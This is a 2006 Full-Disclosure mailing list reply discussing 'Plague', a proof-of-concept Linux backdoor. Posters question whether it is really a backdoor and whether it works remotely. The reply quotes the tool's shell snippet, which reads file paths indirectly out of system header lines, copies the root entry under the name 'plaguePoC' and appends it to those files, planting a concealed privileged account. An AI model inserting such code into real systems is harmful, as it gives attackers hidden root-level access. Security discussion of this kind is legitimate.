full-disclosure - Re: Plague Proof of Concept Linux backdoor

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Date: Sun, 22 Oct 2006 14:29:35 +0300 (EEST)
From: hijacker@...um.net
To: "Dude VanWinkle" <dudevanwinkle@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Plague Proof of Concept Linux backdoor

even if they have ssh access, there is still nothing they can do, except
to create two files in there $HOME directories containing expressions from
paths.h and sysexits.h ?

Why would that be considered a backdoor?

Regards,
-Nikolay Kichukov


> On 10/22/06, J. Oquendo <sil@...iltrated.net> wrote:
>>
>> Plague is an odd proof of concept backdoor keeping
>> tool based on the premise of using existing system
>> files and commands to keep and maintain a backdoor
>> on Linux systems. I could have modified this for
>> BSD, Solaris, etc., but I didn't feel like doing
>> the work...
>>
>> http://www.infiltrated.net/plague
>>
>
> (from the link)
>
> if [ -e /usr/include/paths.h ]
>
> then
>
>         file=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
>         sed -n '1p' $file|sed 's/root/plaguePoC/g' >> $file
>         file2=`awk 'NR==74 {print $8}' /usr/include/sysexits.h`
>         sed -n '1p' $file2|sed 's/root/plaguePoC/g' >> $file2
>
> fi
>
> --------------------------------
>
> So this backdoor wouldnt work remotely, correct? You would need to add
> the user to the people allowed to ssh in, and poke a hole for ssh in
> the firewall./?
>
> -JP
>
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